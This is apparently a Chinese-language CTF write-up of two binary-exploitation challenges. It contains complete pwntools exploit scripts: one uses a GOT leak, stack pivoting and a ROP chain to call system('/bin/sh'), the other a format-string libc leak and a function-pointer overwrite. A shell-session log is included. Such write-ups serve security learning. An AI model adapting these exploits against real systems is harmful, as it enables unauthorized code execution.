pcb5-Pivoting 看题目名就是一道栈迁移
老规矩先chekcsec
1 2 3 4 5 6 7 8 9 10 > checksec pwn [*] '/home/jian/Desktop/jiaoben/pcb/Pivoting/附件/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fe000) SHSTK: Enabled IBT: Enabled Stripped: No
只有个NX
进ida里看看
main:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int __fastcall main (int argc, const char **argv, const char **envp) { size_t v3; size_t v4; int buf[20 ]; __int64 v7; init(argc, argv, envp); v3 = strlen (a1); write(1 , a1, v3); v4 = strlen (a2); write(1 , a2, v4); write(1 , &v7, 0x10u LL); write(1 , &unk_402007, 1uLL ); read(0 , buf, 0x40u LL); do buf[19 ] = Business(buf); while ( flag ); write(1 , "please let me check again\n" , 0x1Au LL); write(1 , "Thanks for your coming\n" , 0x17u LL); return 0 ; }
Business:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 __int64 __fastcall Business (int *a1) { size_t v1; size_t v2; size_t v3; size_t v4; size_t v5; size_t v6; size_t v7; unsigned int v9; int v10[9 ]; v10[0 ] = 0 ; v9 = 0 ; v1 = strlen (a3); write(1 , a3, v1); __isoc99_scanf(&unk_402004, v10); if ( v10[0 ] ) { v5 = strlen (a6); write(1 , a6, v5); __isoc99_scanf(&unk_402004, &v9); v6 = strlen (a7); write(1 , a7, v6); read(0 , a1, 0x60u LL); v7 = strlen (a8); write(1 , a8, v7); } else { v2 = strlen (a4); write(1 , a4, v2); __isoc99_scanf(&unk_402004, &v9); v3 = strlen (a5); write(1 , a5, v3); v4 = strlen (a5); write(1 , (const void *)*a1, v4); flag = 0 ; } return v9; }
思路:
main函数这里会打印出栈中的某个地址,我们可以根据这个地址算出buf的地址以及其他的地址
仔细看
1 write(1 , (const void *)*a1, v4);
这里我们a1是可以控制的,因此我们可以利用write泄露出write_addr然后计算出libc基地址,但是 flag = 0;这一行代码很致命,因为我们如果flag = 0
1 2 3 do buf[19 ] = Business(buf); while ( flag );
我们将无法继续循环,程序将退出,
但是
这里存在溢出
因此我们可以覆盖其main返回地址,main退出的时候会返回到libc_start_main
在我们覆盖返回地址后再次返回main函数
然后我们再次进入Business函数,
同样的步骤,后面打栈迁移覆盖main函数返回地址为leave_ret,返回地址-0x8(main_rbp)填为我们程序泄露的a1要是开局直接给准确不用算的就好了地址后面就是执行rop链了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from pwn import * context.log_level = 'debug' psl = lambda data : p.sendline(data) ps = lambda data : p.send(data) pc = lambda data : p.recvuntil(data) ph = lambda data : print (hex (data)) uu64 = lambda : u64(pc(b'\x7f' )[-6 ::].ljust(8 ,b'\x00' )) binary_name = './pwn' HOST = "192.168.18.21" PORT = 26005 choice = input ("Please input yes->Process,no->Remote" )if "y" in choice: p = process(binary_name)elif "n" in choice: p = remote(HOST,PORT) libc = ELF("libc.so.6" ) e = ELF(binary_name)def bug (): gdb.attach(p) pause()def exp (): leave_ret =0x4014C8 rbp= uu64()-0x170 pop_rdi = 0x000000004014f5 ret = 0x000000000040101a main = 0x4010D0 ph(rbp) write_got =e.got['write' ] rsp = rbp + 0x4 IO_stderr = rbp-0x48 p1 = b'/bin/sh\x00' psl(p1) pc("What can I do for you?" ) psl(b'1' ) sleep(1 ) pc("How much money would you like to withdraw?" ) psl(b'1' ) pc("Are you sure?" ) psl(p64(write_got).ljust(0x58 ,b'\x00' )+p64(main)) pause() pc("What can I do for you?" ) psl(b'0' ) pc("How much money would you like to save?" ) psl(b'1' ) write_addr = uu64() ph(write_addr) base = write_addr - libc.sym['write' ] ph(base) system = base + libc.sym['system' ] binsh = base + next (libc.search('/bin/sh\x00' )) pause() pc("Please tell me your name" ) psl("1angx" ) pause() pc("What can I do for you?" ) psl(b'1' ) pc("How much money would you like to withdraw?" ) psl(b'1' ) pc("Are you sure?" ) psl(p64(ret)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)+b'\x00' *0x28 +p64(rbp-0xf0 )+p64(leave_ret)) pause() p.interactive() exp()
出题人还塞一个假的flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 I know please let me check again Thanks for your coming $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x33 bytes: b'core.34920\n' b'flag\n' b'ld-linux-x86-64.so.2\n' b'libc.so.6\n' b'pwn\n' core.34920 flag#fake ld-linux-x86-64.so.2 libc.so.6 pwn
pcb5-myzoo 依旧老规矩
1 2 3 4 5 6 7 8 9 > checksec pwn [*] '/home/jian/Desktop/jiaoben/pcb/myzoo/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled
一片绿
分析伪代码:
main:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { int v4; char *v5; __int64 v6; void *ptr; unsigned __int64 v8; v8 = __readfsqword(0x28u ); sub_1D99(a1, a2, a3); ::ptr = malloc (0x60u LL); if ( ::ptr ) { memset (::ptr, 0 , 0x60u LL); *(_DWORD *)::ptr = 3 ; v5 = dog_0("Buddy" , 3 , "Golden Retriever" , 12.5 ); v6 = cat_0("kitty" , 2LL , *(double *)_mm_cvtsi32_si128(0x41500000u ).m128i_i64); ptr = (void *)bird_0("casa" , 1LL , "common bird" ); while ( 1 ) { menu(); printf ("gift@%p\n" , sub_12C9); if ( (unsigned int )__isoc99_scanf("%d" , &v4) != 1 ) break ; if ( v4 == 3 ) { bird((__int64)ptr); } else { if ( v4 > 3 ) goto LABEL_13; if ( v4 == 1 ) { dog(v5); } else { if ( v4 != 2 ) LABEL_13: _exit(0 ); cat(v6); } } } free_0(v5); free_1(v6); free (ptr); free (::ptr); return 0LL ; } else { perror("malloc" ); return 1LL ; } }
一眼菜单堆题
bird:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 unsigned __int64 __fastcall bird (__int64 a1) { char s1[8 ]; unsigned __int64 v3; v3 = __readfsqword(0x28u ); if ( *(_DWORD *)ptr == 3 ) { *(_DWORD *)ptr = 2 ; strncpy ((char *)ptr + 44 , (const char *)(a1 + 36 ), 0x2Bu LL); *((_BYTE *)ptr + 87 ) = 0 ; *((_DWORD *)ptr + 10 ) = *(_DWORD *)(a1 + 32 ); strncpy ((char *)ptr + 8 , (const char *)a1, 0x1Fu LL); *((_BYTE *)ptr + 39 ) = 0 ; *((_QWORD *)ptr + 11 ) = sub_14DD; } sub_1550((__int64)ptr + 8 ); (*((void (__fastcall **)(char *))ptr + 11 ))((char *)ptr + 8 ); puts (&byte_214E); if ( (unsigned int )__isoc99_scanf("%4s" , s1) == 1 && !strcmp (s1, "yes" ) ) { sub_151E((char *)ptr + 8 ); printf (&byte_21A8, (char *)ptr + 44 ); if ( (unsigned int )__isoc99_scanf("%4s" , s1) == 1 && !strcmp (s1, "yes" ) ) { puts (&byte_21CA); read(0 , (char *)ptr + 44 , 0x2Cu LL); } } else { puts ("bye" ); memset (ptr, 0 , 0x60u LL); *(_DWORD *)ptr = 3 ; } return v3 - __readfsqword(0x28u ); }
dog:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 unsigned __int64 __fastcall dog (__int64 a1) { char s1[8 ]; unsigned __int64 v3; v3 = __readfsqword(0x28u ); if ( *(_DWORD *)ptr == 3 ) { *(_DWORD *)ptr = 0 ; strncpy ((char *)ptr + 48 , (const char *)(a1 + 40 ), 0x1Fu LL); *((_BYTE *)ptr + 79 ) = 0 ; *((_DWORD *)ptr + 10 ) = *(_DWORD *)(a1 + 32 ); *((_DWORD *)ptr + 11 ) = *(_DWORD *)(a1 + 36 ); strncpy ((char *)ptr + 8 , (const char *)a1, 0x1Fu LL); *((_BYTE *)ptr + 39 ) = 0 ; *((_QWORD *)ptr + 10 ) = sub_12C9; } sub_134B((char *)ptr + 8 ); (*((void (__fastcall **)(char *))ptr + 10 ))((char *)ptr + 8 ); puts (&byte_214E); if ( (unsigned int )__isoc99_scanf("%4s" , s1) != 1 || strcmp (s1, "yes" ) ) goto LABEL_8; if ( *((float *)ptr + 11 ) <= 20.0 ) { sub_12FB((char *)ptr + 8 ); LABEL_8: puts ("bye" ); memset (ptr, 0 , 0x60u LL); *(_DWORD *)ptr = 3 ; return v3 - __readfsqword(0x28u ); } puts (&byte_2169); return v3 - __readfsqword(0x28u ); }
cat:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 unsigned __int64 __fastcall sub_180B (__int64 a1) { char s1[8 ]; unsigned __int64 v3; v3 = __readfsqword(0x28u ); if ( *(_DWORD *)ptr == 3 ) { *(_DWORD *)ptr = 1 ; strncpy ((char *)ptr + 8 , (const char *)a1, 0x1Fu LL); *((_BYTE *)ptr + 39 ) = 0 ; *((_DWORD *)ptr + 10 ) = *(_DWORD *)(a1 + 32 ); *((_DWORD *)ptr + 11 ) = *(_DWORD *)(a1 + 36 ); *((_QWORD *)ptr + 6 ) = sub_13DA; } sub_1454((char *)ptr + 8 ); (*((void (__fastcall **)(char *))ptr + 6 ))((char *)ptr + 8 ); puts (&byte_2183); if ( (unsigned int )__isoc99_scanf("%4s" , s1) == 1 && !strcmp (s1, "yes" ) ) { puts (&byte_219C); read(0 , (char *)ptr + 8 , 0x20u LL); } else { puts ("bye" ); memset (ptr, 0 , 0x60u LL); *(_DWORD *)ptr = 3 ; } return v3 - __readfsqword(0x28u ); }
解题思路:
第一眼以为是要用house 系列,但是发现利用不了
首先把gift接收了算出pie基地址
在bird中发现
1 2 3 4 5 if ( (unsigned int )__isoc99_scanf("%4s" , s1) == 1 && !strcmp (s1, "yes" ) ) { puts (&byte_21CA); read(0 , (char *)ptr + 44 , 0x2Cu LL); }
这里可以往ptr+44的位置里读入0x2c个字节
也就是说这一块内存是我们可控的
在cat中我们也可以操纵ptr+8~ptr+0x28的chunk
1 2 3 4 5 if ( (unsigned int )__isoc99_scanf("%4s" , s1) == 1 && !strcmp (s1, "yes" ) ) { puts (&byte_219C); read(0 , (char *)ptr + 8 , 0x20u LL); }
并且观察其他函数不难发现基本上很多地方都是利用到了ptr来调用函数
1 2 cat: (*((void (__fastcall **)(char *))ptr + 6 ))((char *)ptr + 8 ); dog: (*((void (__fastcall **)(char *))ptr + 10 ))((char *)ptr + 8 );
在实际调试的时候我们发现cat中:
1 2 3 4 5 6 7 8 9 10 11 12 13 .text:00000000000018BA mov rax, cs:ptr .text:00000000000018C1 mov rax, [rax+30h] .text:00000000000018C5 mov rdx, cs:ptr .text:00000000000018CC add rdx, 8 .text:00000000000018D0 mov rdi, rdx .text:00000000000018D3 call rax 0x55784da048ba mov rax, qword ptr [rip + 0x278f] RAX, [0x55784da07050] => 0x5578772972a0 ◂— 2 0x55784da048c1 mov rax, qword ptr [rax + 0x30] RAX, [0x5578772972d0] => 0x55784da0401a ◂— ret 0x55784da048c5 mov rdx, qword ptr [rip + 0x2784] RDX, [0x55784da07050] => 0x5578772972a0 ◂— 2 0x55784da048cc add rdx, 8 RDX => 0x5578772972a8 (0x5578772972a0 + 0x8) 0x55784da048d0 mov rdi, rdx RDI => 0x5578772972a8 ◂— 'common bird' ► 0x55784da048d3 call rax
会调用rax而rax是ptr+30的位置0x5578772972d0,而这块内存我们之前已经说明是可控的,所以我们可以布置一些magic来泄露出libc
在调用完鸟后再调用完猫后,我们再次调用狗可以发现它调用的一个函数存在很明显的格式化字符串漏洞,利用这点我们就可以泄露出libc了
1 2 3 4 5 6 7 8 sub_134B((char *)ptr + 8 );int __fastcall sub_134B (__int64 a1) { printf ("鍚嶅瓧: %s\n" , (const char *)(a1 + 40 )); printf ("骞撮緞: %d\n" , *(unsigned int *)(a1 + 32 )); printf ((const char *)a1); return printf (asc_2043, *(float *)(a1 + 36 )); }
在调试的时候发现偏移为23(0x11+6)
1 2 pwndbg> distance 0x7f709d400000 0x7f709d429d90 0x7f709d400000 ->0x7f709d429d90 is 0x29d90 bytes (0x53b2 words)
直接vmmap算偏移然后算出基地址
1 2 3 4 leak_libc = int (p.recv(12 ),16 ) ph(leak_libc) base = leak_libc -0x29d90
泄露出libc就好办了
后面我们直接和前面一样的步骤(*((void (__fastcall **)(char *))ptr + 10))((char * )ptr + 8) ;将 ptr+0x50的位置布置为system (char * )ptr + 8的位置布置为/bin/sh\x00后面再次利用dog就可以触发system(‘’/bin/sh“)了
1 2 3 4 5 p3 = b'a' *4 +p64(ret)*4 +p64(system) bird(p3) cat(b'yes' ,'/bin/sh\x00' ) psl(str (1 ))
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 from pwn import * context.log_level = 'debug' psl = lambda data : p.sendline(data) ps = lambda data : p.send(data) pc = lambda data : p.recvuntil(data) ph = lambda data : print (hex (data)) uu64 = lambda : u64(pc(b'\x7f' )[-6 ::].ljust(8 ,b'\x00' )) binary_name = './pwn' HOST = "192.168.18.24" PORT = 26004 choice = input ("Please input yes->Process,no->Remote" )if "y" in choice: p = process(binary_name)elif "n" in choice: p = remote(HOST,PORT) libc = ELF("./libc.so.6" ) e = ELF(binary_name)def bug (): gdb.attach(p) pause()def cmd (choice ): pc("gift@0x" ) gift = int (p.recv(12 ),16 ) psl(str (choice)) return giftdef dog (): cmd(1 ) pc("你想要喂它吗" ) psl(b'yes' )def cat (choice,payload ): cmd(2 ) pc("你想给它起外号?" ) psl(choice) if choice == b'yes' : pc("随你吧" ) psl(payload)def bird (payload ): cmd(3 ) pc("你想要喂它吗" ) psl(b'yes' ) pc("你说casa不符合他的性格?" ) psl(b'yes' ) pc("那你起个名字吧" ) psl(payload)def exp (): gift = cmd(3 ) base = gift -0x12c9 bird_addr = base+1997 main = base +0x1de0 ret =base+0x000000000000101a puts_plt = base+e.plt['puts' ] puts_got = base+e.got['puts' ] pc("你想要喂它吗" ) psl(b'yes' ) pc("你说casa不符合他的性格?" ) psl(b'yes' ) pc("那你起个名字吧" ) p0 = b'a' *4 +p64(ret)+p64(puts_got)+p64(0 )+p64(0 )+p64(main) psl(p0) ph(gift) p1 =b'%23$p' +b'\x00' *4 +p64(puts_got) cat(b'yes' ,p1) pc(f"gift@{hex (gift)} " ) psl(str (1 )) pc(b'0x' ) leak_libc = int (p.recv(12 ),16 ) ph(leak_libc) base = leak_libc -0x29d90 ph(base) bug() system = base + libc.sym['system' ] binsh = base + next (libc.search('/bin/sh\x00' )) p3 = b'a' *4 +p64(ret)*4 +p64(system) bird(p3) cat(b'yes' ,'/bin/sh\x00' ) psl(str (1 )) p.interactive() exp()
flag:
和上面那题一样依旧有个假的,但已经有经验了